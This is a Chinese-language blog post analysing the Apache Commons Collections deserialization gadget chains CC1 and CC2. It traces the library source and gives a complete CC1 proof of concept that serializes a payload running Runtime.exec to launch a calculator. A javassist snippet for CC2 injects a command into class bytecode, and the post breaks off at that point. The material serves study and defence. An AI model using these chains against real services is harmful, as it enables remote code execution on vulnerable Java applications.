CommonsCollections1 文章首发先知社区
CC链基本的点就是在前两个链中,所以我会着重偏向前两个链的介绍,后期的链基本就是换汤不换药,我会适当简略;
LazyMap.get()中:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
可以看到里面if中会去调用factory下的transform方法;我们看下相应属性的定义;
1 protected final Transformer factory;
发现定义是个Transformer;其是个接口;追溯一下不难发现其定义:
1 2 3 public interface Transformer { Object transform (Object var1) ; }
那么现在就是寻找可以继承接口的类;找到InvokerTransformer类;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
这里摘取主要的一些源码进行分析;发现在其类中继承了接口之后又将其重写,这里就可直接调用;关键的函数是在这几行:
1 2 3 Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
这里获取我们传入的类,然后拿到类中的方法和参数类型;然后最后竟然直接invoke直接执行了这个方法;回溯这个类,我们发现所有的参数都是我们可控的,碉堡了;这就直接可调用任意类下的任意函数,并且参数还是我们可控的;这就造成了很大的安全问题;那么目标点就很明确了;寻找命令执行函数;发现在Runtime类下有个exec函数可执行命令;这也是这个chain的走向;
追溯下:
1 2 3 public Process exec (String command) throws IOException { return exec(command, null , null ); }
这里直接调用了exec函数去执行命令;那么我们的思路也就很简单了,在上个文件中赋如下的值:
1 2 3 4 Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
当我们上述的变量赋值为我们希望的值的时候,进入下一个Runtime类的时候就会进行命令执行造成rce;
这里先写个简单的demo证明下Runtime类下的exec造成rce的效果;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.company;import java.lang.Runtime;import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class runtime_exec { public static void main (String[] args) throws Exception { Class s1mple = java.lang.Runtime.class; System.out.println(s1mple); Constructor s2mple = s1mple.getDeclaredConstructor(); s2mple.setAccessible(true ); Object s3mple = s2mple.newInstance(); Method s4mple = s1mple.getMethod("exec" ,String.class); s4mple.invoke(s3mple,"touch pwned_by_s1mple" ); } }
会发现生成了个pwned_by_s1mple文件;现在开始寻找如何利用链构造上述的代码;
幸运的是我们在ChainedTransformer类中找到了可以完成上述链的写法;
1 2 3 4 5 6 7 8 9 10 11 12 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
可以看到这里是接受了一个Transormer类型的数组;然后将iTransformers属性赋值为这个数组;观察下transform方法;这里是将我们传入数组的每个值都进行了调用,调用其下的transform方法;参数是我们传入的object;这里可以去调用InvokerTransformer类下的方法;来写;先来写个简单的InvokerTransormer类下的调用demo来实现rce;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.company;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class runtime_exec { public static void main (String[] args) throws Exception { Class s2mple = java.lang.Runtime.class; System.out.println(s2mple); Method ss = s2mple.getMethod("getRuntime" ,null ); System.out.println(ss); Object as= ss.invoke(null ); System.out.println(as); InvokerTransformer s1mple = new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }); s1mple.transform(as); } }
这里我们可以先拿到Runtime的Class对象,然后利用Class下的getMethod方法去拿到Runtime下的私有的构造方法;然后通过这种方式去用invoke去执行,可以直接实力化Runtime类;并且弹出计算器;
一般来说这么写是可以来验证漏洞的存在的,但是我们又会发现一给坑,Runtime无法进行序列化,在java中,可以序列化的类都会继承Serializable接口,但是Runtime并没有,所以我们得找到另外一种写法去实现我们上面的那个InvokerTransormer的demo;
回到之前的代码块处;之前也分析了这里的transorm方法可以遍历去调用一些类下的tranform方法;这里就是利用点;
1 2 3 4 5 6 7 8 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
先来看个ConstantTransformer类:看下源码;
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
这里无论我们传入什么,最后return的是我们传入的东西;就可以用这个作为跳板,return我们的Runtime的class对象;然后就是我们的InvokerTransformer类了;这里我先来声明一个问题;我们在.class的时候,是获取到相应类的Class对象,然后还有一步,是将Class对象加载进来,所以我们才可调用getMethod之类的方法;在InvokerTransformer中发现transform可以调用任意类下的任意的方法;在ChainedTransformer类下发现有一个for循环,可以循环调用某些类下的transform方法;
基于接口的多态 1 2 3 4 public class ChainedTransformer implements Transformer public class InvokerTransformer implements Transformer public class ConstantTransformer implements Transformer
发现这些类都是继承了Transformer接口,可以通过向上转型的方式将其实例化为Transformer接口对象;然后传入下面ChainedTransformer的函数,然后起到遍历这些类下的transform方法;
1 2 3 4 5 6 7 8 9 10 11 12 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
找到了这点,结合我们之前分析的各个transform函数;可以进行实例化Runtime类;
1 2 3 4 5 6 7 8 9 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class,Class[].class}, new Object[] {"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }) }; ChainedTransformer s1mple = new ChainedTransformer(transformers); Object su = s1mple.transform("aa" );
看上面代码;这里需要仔细分析下,先通过ConstantTransformer类下的transform方法返回传入对象;这里我们传入Runtime.class所以自然最后return的是Runtime.class;然后反观for循环里;因为返回了Runtime.class;所以object就为Runtime.class然后将其作为参数传入transform方法;接下来调用InvokerTransformer下的transform方法;可以看到这里先拿了getMethod方法;利用的是InvokerTransformer中的transform的getMethod方法;这里拿到getMetiod的方法有很多种;
先来说常规的; 举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class zm { public static void hr () { int aa = 5555 ; System.out.println(aa); } } public class runtime_exec { public static void main (String[] args) throws Exception { zm s1mple = new zm(); Class s2mple = s1mple.getClass(); Method s3mple = s2mple.getMethod("hr" .null ); s3mple.invoke(s1mple,null ); }
获取class对象的方法有三种,针对于一个非Class对象来说;通过getClass函数,可以有效的拿到Class对象;还有两种是 “类名”+.class;和Class.forname();这两种方法直接拿到Class对象;这三种方法都可直接进行getMethod去调用原类对象中的某个方法;
非常规的一种: 拿到Class对象之后,我们可以考虑去拿到getMethod的原始函数;不知这里我表达是否准确,简单来说是利用getMethod拿到Class类下的getMethod,然后invoke;这样也是调用了getMethod方法;这个cc链利用的就是这种思路;想拿到getMethod原始函数,就需要再次对Class对象进行getClass;以拿到java.lang.Class的class类对象;接着我们就可拿到Class类下的函数,getMethod;追溯下:
1 2 3 4 5 6 7 8 9 10 public Method getMethod (String name, Class<?>... parameterTypes) throws NoSuchMethodException, SecurityException { checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true ); Method method = getMethod0(name, parameterTypes, true ); if (method == null ) { throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes)); } return method; }
不难发现有两个参数;第一个为字符串对象;第二个为Class的多参数,这里既是多参数;那么我们写java程序也就很简单了;写一个简单的demo来实现上述的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class runtime_exec { public static void main (String[] args) throws Exception { Object Runtime = java.lang.Runtime.class; Class s2mple = Runtime.getClass(); Method s3mple = s2mple.getMethod("getMethod" , new Class[]{String.class, Class[].class}); Object aass = s3mple.invoke(Runtime,new Object[]{"getRuntime" ,null }); System.out.println("aass=" +aass); } } 相当于执行了java.lang.Runtime.class.getMethod("getRuntime" ,null );
然后就成功拿到了getRuntime方法;接着就是执行此方法拿到Runtime对象;继续传入
1 2 new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null })
1 2 3 4 5 6 7 8 9 public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
传入getClass之后得到Method;然后就可调用Method下的一些方法;追溯Method类invoke方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object invoke (Object obj, Object... args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (!override) { if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) { Class<?> caller = Reflection.getCallerClass(); checkAccess(caller, clazz, obj, modifiers); } } MethodAccessor ma = methodAccessor; if (ma == null ) { ma = acquireMethodAccessor(); } return ma.invoke(obj, args); }
发现其参数为任意对象类型,第二个为多参数;即传数组;这里其实原理也是先通过InvokerTransformer下的getMethod拿到invoke函数,然后再invoke去调用invoke函数;可以继续续写上述的demo;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class runtime_exec { public static void main (String[] args) throws Exception { Object Runtime = java.lang.Runtime.class; Class s2mple = Runtime.getClass(); Method s3mple = s2mple.getMethod("getMethod" , new Class[]{String.class, Class[].class}); Object aass = s3mple.invoke(Runtime,new Object[]{"getRuntime" ,null }); System.out.println("aass=" +aass); Class s4mple = aass.getClass(); Method s5mple = s4mple.getMethod("invoke" ,new Class[]{Object.class, Object[].class}); Object tt = s5mple.invoke(aass,null ,null ); System.out.println(tt); } }
拿到了对象然后就可按照常规的思路去进行invoke其下的exec方法,然后达到rce;即在此传入;
1 2 new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" })
然后这里直接按照常规的getMethod方法的传参方法去进行传入即可;最后达到弹出个计算器的效果;
上面的一段分析清楚了,接下来就是去考虑怎么承接的问题;怎么去触发ChainedTransformer下的transform方法;回到最开始的LazyMap类下;发现有个get方法;
1 2 3 4 5 6 7 8 9 10 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
这里可以调用factory属性下的transfrom方法;factory是什么;追溯下发现:
1 2 3 4 5 6 7 8 9 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = factory; } }
可以是一个Transformer的类型的变量;所以可以通过构造方法和ChainedTransformer相连;但是仅仅相连还是不够的,我们应该考虑如何去触发下面的get方法;
这里有个新的类去要利用;AnnotationInvocationHandler类;如下图:
AnnotationInvocationHandler类中有个构造函数,我们看到在构造函数中存在一个Map类型的memberValues变量;接着往下追溯看到有一行代码:
1 2 Object result = memberValues.get(member);
是调用了memberValues属性下的get方法;这里我们就可和之前的类进行衔接;而且注意到这个类是继承了Serializable接口的,是可以进行序列化的;我们只需要在构造函数处直接传入LazyMap就可;但是现在因为要想调用到上述的语句,就需要执行invoke方法;我们之前只是在构造函数中传入了我们需要的点,并不能直接执行,其执行是在invoke方法中;那么现在的问题就是如何去调用invoke方法;
代理类触发invoke 先来看AnnotationInvocationHandler类,它继承了InvocationHandler接口;该接口可以用来实现JDK的代理;JDK代理的主要函数为 ,Proxy.newProxyInstance;追溯下函数:
1 2 3 4 5 public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
追溯其类定义,发现其继承了Serializable接口,是可以序列化的;所以我们可以通过向该函数传递ClassLoader,interfaces,和重写invoke方法的InvocationHandler实现类即可实现代理。JDK代理是基于接口的,因为在本身在实现的时候是继承实现的,由于继承是单继承所以只能依靠接口。代理成功之后再调用原来类方法的时候会首先调用InvocationHandler实现类的invoke方法。同时我们可以看到在invoke函数中有个敏感方法的调用;在上述已经说过;⬆️;所以思路已经很清晰了;
构造POC 先来写生成代理类的方法;这里有个小点需要注意的是;AnnotationInvocationHandler类的构造方法是default限定符;在同包下可见;所以这里如果我们想调用,还得需要通过反射来进行变限定;这里为了逻辑清晰,我们首先编写transformers下的部分点;
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class,Class[].class}, new Object[] {"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }) }; Transformer s1mple = new ChainedTransformer(transformers);
其实原理也很清楚了;上述也已经讲过,其实也就是通过另类的方法去调用到了getMethod invoke这些方法,去实现任意类下的函数调用;验证方法:将上述代码再次调用transform即可弹出计算器;
为了上述的代码,现在的问题就是如何去调用transform方法;分析lazymap方法;即从get方法下手,这里因为LazyMap类下的构造器的限定问题,所以方法有二,直接拿到构造函数利用反射进行变限定,或者直接调用decorate方法即可;这里我采用的是方法一:
1 2 3 4 5 6 7 8 HashMap hashmap = new HashMap<String,String>(); String mm = "org.apache.commons.collections.map.LazyMap" ; Class kk = Class.forName(mm); Constructor method = kk.getDeclaredConstructor(Map.class,Transformer.class); method.setAccessible(true ); Object lazymap = method.newInstance(hashmap,s1mple); Class jc = lazymap.getClass();
因为形参的要求,第一个参数必须是Map类型的参数,所以这里选择HashMap;因为其继承Map接口;即可满足;第二个为Transformer类型的参数,因为ChainedTransformer也是继承Transformer接口,所以直接传入,然后在下面就可顺利的调用到ChainedTransformer下的transform方法;现在就是如何调用get方法;
这里链的原作者找到了AnnotationInvocationHandler类;
1 2 Object var6 = this .memberValues.get(var4);
在其invoke方法中,发现了可以调用任意类下的get方法;所以直接拿来用;可以将memberValues赋值为LazyMap的实力化对象,然后即可直接调用其get方法;那么现在的问题是如何去调用invoke方法;这里不得不佩服原作者的代码功底;继续看AnnotationInvocationHandler类中的readObject方法;
发现里面存在entrySet方法;我们只需要触发这个点就可;
1 2 3 4 5 6 String handler = "sun.reflect.annotation.AnnotationInvocationHandler" ; Class inhandler = Class.forName(handler); Constructor<?> constructor = inhandler.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler AnnotationInvocationHandlerdx = (InvocationHandler) constructor.newInstance(Deprecated.class,lazymap);
这我们先拿到AnnotationInvocationHandler的实例化对象;因为AnnotationInvocationHandler构造器限定符的原因,这里我们采用另外写法利用反射拿到构造器,然后执行构造器代码即可;触发invoke方法这里原作者是利用代理去触发invoke方法;先看其接口InvocationHandler,该接口是可以实现JDK代理;JDK代理的主要函数为 ,Proxy.newProxyInstance;
将InvocationHandler的实力化对象作为代理的第二个参数传进去,然后代理成功之后再调用原来类方法的时候会首先调用InvocationHandler实现类的invoke方法。所以我们可以将memberValues设置为代理类;然后在readObject的时候进行调用entrySet方法;这时因为代理的原因,就会调用我们原对象也就是AnnotationInvocationHandler下的invoke方法;这时再将memberValues赋值为lazymap的对象,也就自然的调用了get方法,到此整个链成;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package com.company;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.Runtime;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import static org.springframework.util.SerializationUtils.serialize;public class runtime_exec { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class,Class[].class}, new Object[] {"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }) }; Transformer s1mple = new ChainedTransformer(transformers); HashMap hashmap = new HashMap<String,String>(); String mm = "org.apache.commons.collections.map.LazyMap" ; Class kk = Class.forName(mm); Constructor method = kk.getDeclaredConstructor(Map.class,Transformer.class); method.setAccessible(true ); Object lazymap = method.newInstance(hashmap,s1mple); String handler = "sun.reflect.annotation.AnnotationInvocationHandler" ; Class inhandler = Class.forName(handler); Constructor<?> constructor = inhandler.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler AnnotationInvocationHandlerdx = (InvocationHandler) constructor.newInstance(Deprecated.class,lazymap); Class cla = Deprecated.class; System.out.println("cla=" +cla); Map evilMap = (Map) Proxy.newProxyInstance( hashmap.getClass().getClassLoader(), hashmap.getClass().getInterfaces(), AnnotationInvocationHandlerdx ); Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler ahandler = (InvocationHandler) ctor.newInstance(Override.class, evilMap); ObjectOutputStream asdf = new ObjectOutputStream(new FileOutputStream("serialize.ser" )); asdf.writeObject(ahandler); ObjectInputStream sdf = new ObjectInputStream(new FileInputStream("serialize.ser" )); sdf.readObject(); } }
这篇文章写了有点时间,中间有些间断,可能连贯性不是很好,但也算是一点研究的心得吧;
CommonsCollections2 前言 之前我们分析了CC1的链,其调用并不是很复杂,唯一需要理解的点也就是利用for循环去进行任意类下任意方法的任意执行,我们在那个点去变相的调用到Runtime下的构造器;或者直接拿到另外返回构造器到函数然后直接invoke;还有也就是java的代理机制,在代理下执行encrySet函数的时候,会调用原类对象下的invoke方法;用着两个跳板去进行类的串联,从而最后执行Runtime类下的exec方法,导致任意命令执行;
其实CC2链最后的执行点和CC1的执行点是一样的,只是我们中途的利用方法不同,这次是通过Javassist在Java字节码中插入命令执行代码然后通过ClassLoader加载修改好的字节码。从而达到任意命令执行;链条很简单,主要是通过链条学习javassist的用法;
正文 我们先来看ysoserial的调用栈:简单分析下链条:
复现的起点还是在PriorityQueue.readObject()方法;追溯一下:
优先级队列 PriorityQueue PriorityQueue
一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,放入PriorityQueue
的元素,必须实现Comparable
接口,PriorityQueue
会根据元素的排序顺序决定出队的优先级;或者根据构造队列时提供的Comparator
进行排序,元素就不必实现Comparable
接口,具体取决于所使用的构造方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
这里可以显然的看到进入readObject之后,首先去调用了默认的反序列化方法; s.defaultReadObject();
然后进入排序方法heapify;继续追溯下相应的方法;这里将需要追溯的方法写到一起;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; } public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException(); this .queue = new Object[initialCapacity]; this .comparator = comparator; }
这里将一些敏感的代码放到一起;可以看到继heapify方法之后去调用了siftDown方法;在其中判断力comparator是否为空,如果为空就会调用siftDownComparable方法;如果不为空的话就会去调用siftDownUsingComparator方法;追溯一下comparator变量,发现在类的构造器中有其赋值,是可控的;
这里回到heapify方法中,这里通过for循环遍历了queue中的元素,这里有个小坑,很多师傅包括我最开始都认为queue不能被序列化,因为其修饰符的原因,但是这里的for如果想成功触发也就意味着queue需要去序列化成流然后被反序列化拿出执行相应的承接块;那么为什么其可序列化?这里我看了篇文章,其实还是因为我们的PriorityQueue类中,重写了writeObject方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(Math.max(2 , size + 1 )); for (int i = 0 ; i < size; i++) s.writeObject(queue[i]); }
这里看到是将queue数组中写入了值,然后在readObject的地方发生了for循环去读出queue中的数据的代码,Java是允许对象字节实现序列化方法的,以此来实现对自己的成员控制。
解决了这个点,继续向下看;
在siftDownUsingComparator方法中看到了comparator.compare的调用方式;因为comparator是可控的,这里我们可以参考CC1的思路;所以我们可以传入一个继承Comparator接口的实例,然后去调用到相应类下的compare比较方法;这里原作者使用的是TransformingComparator类;追溯过去;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class TransformingComparator implements Comparator { protected Comparator decorated; protected Transformer transformer; public TransformingComparator (Transformer transformer) { this (transformer, new ComparableComparator()); } public TransformingComparator (Transformer transformer, Comparator decorated) { this .decorated = decorated; this .transformer = transformer; } public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } }
其继承了Comparator接口;而且可以直接调用到compare方法;而且选择这个类的还有一个好处是我们看到了transform方法;而且发现啊transformer是可控的,那么有一种强烈的感觉,这个点和CC1类似;transformer都是继承Transformer接口;那么直接控制transformer为InvokerTransformer类对象;直接去到transform方法;追溯下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public O transform (Object input) { if (input == null ) { return null ; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var6); } } }
可以看到transform方法返回值为任意的类型;那么这个点就很宽松了;下面才是这个链有意思的地方;
可将其input赋值为TemplatesImpl类对象,然后getMethod就为其类对象下的newInstance方法;在这个方法里有我们利用的点:追溯下:
1 2 3 4 5 6 7 8 9 10 11 12 13 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer = new TransformerImpl(this .getTransletInstance(), this ._outputProperties, this ._indentNumber, this ._tfactory); if (this ._uriResolver != null ) { transformer.setURIResolver(this ._uriResolver); } if (this ._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing" )) { transformer.setSecureProcessing(true ); } return transformer; }
在这里面掉用了getTransletInstance方法,继续追溯一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private Translet getTransletInstance () throws TransformerConfigurationException { ErrorMsg err; try { if (this ._name == null ) { return null ; } else { if (this ._class == null ) { this .defineTransletClasses(); } AbstractTranslet translet = (AbstractTranslet)this ._class[this ._transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); if (this ._auxClasses != null ) { translet.setAuxiliaryClasses(this ._auxClasses); } return translet; } } catch (InstantiationException var3) { err = new ErrorMsg("TRANSLET_OBJECT_ERR" , this ._name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException var4) { err = new ErrorMsg("TRANSLET_OBJECT_ERR" , this ._name); throw new TransformerConfigurationException(err.toString()); } }
看到这里进行了._class值的判断,判断其是否为空;然后如果为空的话调用defineTransletClasses方法,这里追溯下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void defineTransletClasses () throws TransformerConfigurationException { if (this ._bytecodes == null ) { ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR" ); throw new TransformerConfigurationException(err.toString()); } else { TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader()); } }); ErrorMsg err; try { int classCount = this ._bytecodes.length; this ._class = new Class[classCount]; if (classCount > 1 ) { this ._auxClasses = new Hashtable(); } for (int i = 0 ; i < classCount; ++i) { this ._class[i] = loader.defineClass(this ._bytecodes[i]); Class superClass = this ._class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { this ._transletIndex = i; } else { this ._auxClasses.put(this ._class[i].getName(), this ._class[i]); } } if (this ._transletIndex < 0 ) { err = new ErrorMsg("NO_MAIN_TRANSLET_ERR" , this ._name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError var5) { err = new ErrorMsg("TRANSLET_CLASS_ERR" , this ._name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError var6) { err = new ErrorMsg("TRANSLET_OBJECT_ERR" , this ._name); throw new TransformerConfigurationException(err.toString()); } } }
漏洞问题承接点在for循环里;这里我们可看到在for循环中,首先拿到_bytecodes
参数的长度,然后去实力化一个 Class对象,大小为_bytecodes
的字节长度,然后经过for循环一个一个字节的将其赋值给._class
属性;这里看你自己构造的class类的大小来定,最后的效果就是将其全部给._class
属性,然后class属性拿到我们全部自己构造的class;然后进入if判断;判断其superClass是否为private static String ABSTRACT_TRANSLET = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
如果是的话将整体的字节大小赋值给_transletIndex
;随后进入if的判断,判断其是否小于0,这里因为我们控制其为正数;所以这里直接过if;后面的错误也没有触发;然后直接到命令执行点;
1 2 AbstractTranslet translet = (AbstractTranslet)this ._class[this ._transletIndex].newInstance();
这里直接将其全部的内容进行newInstance函数实力化,以为class在最开始就是new的Class,所以可以直接进行newInstance方法实力化;然后我们构造的java的字节码中有命令执行的Runtime下的exec命令执行点,直接可触发进行rce;
编写exp+思考 先从java的字节码下手,因为最后的判断为含有漏洞的字节码进行实力化,整体的链条主要还是在利用javassist上;我们先自己随便构造个恶意类;然后设置其父类,让其通过TemplatesImpl类下的最后if判断;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class javassist { public static class s1mple { } public static void main (String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); CtClass s2mple = classpool.get(s1mple.class.getName()); CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName()); s2mple.setSuperclass(s3mple); s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch s1mple.sser\");" ); byte [] bt = s2mple.toBytecode();
先来构造一个恶意的class;这里之前引入一个s1mple类,然后拿到其类之后给其添加父类,是为了过最后的执行类的if判断;在恶意的class中加入我们的命令执行点,调用Runtime下的getRuntime方法获取到其对象,然后调用exec方法;直接执行命令;其实核心也就是这个javassist类包的利用;后期就是纯链条;
注意的是如果我们在刚开始的时候没有传入优先级队列中元素,那么size属性在定义中默认为0;那么也就不会导致函数继续向下执行;所以我们这里需要先传入元素;当时我简单看了下源码:
1 2 3 4 public PriorityQueue (int initialCapacity) { this (initialCapacity, null ); }
设定元素个数的构造器;效果就是构造指定容量的空数组;这里其实我们是否传入都可,我们继续看下;传入之后继续调用构造器去构造
1 2 3 4 5 6 7 8 9 10 public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException(); this .queue = new Object[initialCapacity]; this .comparator = comparator; }
在这里给队列数组queue赋值为initialCapacity大小的存储空间;这里不同构造器之间可以依据形参数量确认并通过this进行调;简单的demo如下:
